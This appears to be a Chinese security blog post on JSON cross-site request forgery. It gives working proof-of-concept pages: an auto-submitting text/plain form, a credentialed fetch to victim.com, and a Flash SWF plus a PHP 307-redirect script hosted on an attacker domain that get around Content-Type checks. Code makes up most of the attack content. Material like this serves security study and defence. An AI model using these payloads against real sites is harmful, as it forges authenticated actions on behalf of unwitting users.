0x00 前言
-
使用form能构造出JSON的跨域请求,但是无法设置Content-Type。
-
使用XMLHttpRequest或fetch能构造出JSON请求并能设置Content-Type,但是无法跨域。
0x01 POC
存在两种场景:
-
JSON CSRF(未验证Content-Type)
-
JSON CSRF(验证Content-Type)
JSON CSRF(未验证Content-Type)
可以使用form进行跨域,并构造出JSON格式数据。
使用form的POC
<html>
<title>JSON CSRF POC</title>
<form action="http://test.joychou.org" method="POST" enctype="text/plain" >
<input name='{"name":"attacker","email":"attacker@gmail.com","ignore_me":"' value='test"}' type='hidden'>
</form>
<script>
document.forms[0].submit();
</script>
</html>
{name: "attacker", email: "attacker@gmail.com", ignore_me: "=test"}
JSON CSRF(验证Content-Type)
<html>
<title>JSON CSRF POC</title>
<script>
fetch('http://victim.com/vul.page', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});
</script>
</form>
</html>
-
能发起HTTP请求的swf文件(csrf_json.swf)
-
307跳转(307.php)
-
上面两个文件同域
package
{
import flash.display.Sprite;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.net.URLRequestHeader;
import flash.net.URLRequestMethod;
public class csrf extends Sprite
{
public function csrf()
{
super();
var myJson:String = this.root.loaderInfo.parameters.jsonData;
var url:String = this.root.loaderInfo.parameters.php_url;
var endpoint:String = this.root.loaderInfo.parameters.endpoint;
var ct:String = !!this.root.loaderInfo.parameters.ct?this.root.loaderInfo.parameters.ct:"application/json";
var request:URLRequest = new URLRequest(url + "?endpoint=" + endpoint);
request.requestHeaders.push(new URLRequestHeader("Content-Type",ct));
request.data = myJson;
request.method = URLRequestMethod.POST;
var urlLoader:URLLoader = new URLLoader();
try
{
urlLoader.load(request);
return;
}
catch(e:Error)
{
trace(e);
return;
}
}
}
}
<?php
$victim_url = $_GET['endpoint'];
header("Location: $victim_url", true, 307)
?>
-
受害者访问POC,向attacter.com发起一条swf请求,swf向307.php发送HTTP POST请求。
-
attacter.com的307.php发起307跳转,跳转到victim.com,注意307跳转会带着http请求方式,header和postdata进行跳转。
-
victim.com收到一条POST请求,并且Content-Type为application/json。
-
victim.com收到一条/crossdomain.xml请求。由于第三步优先第四步执行,导致跨域。并且victim.com能收到crossdomain.xml请求,也证明了第三步的POST请求是Flash发出,而不是307.php发出。因为307.php单独发出的post请求不会主动请求crossdomain.xml。
0x02 Flash设置其他Header
既然可以设置Content-Type,那么能设置Referer吗。如果能,那验证Referer的CSRF岂不都能绕过?
0x03 Reference
-
http://www.appsecweekly.com/flash-same-origin-policy-bypass-with-307/
-
https://www.geekboy.ninja/blog/exploiting-json-cross-site-request-forgery-csrf-using-flash/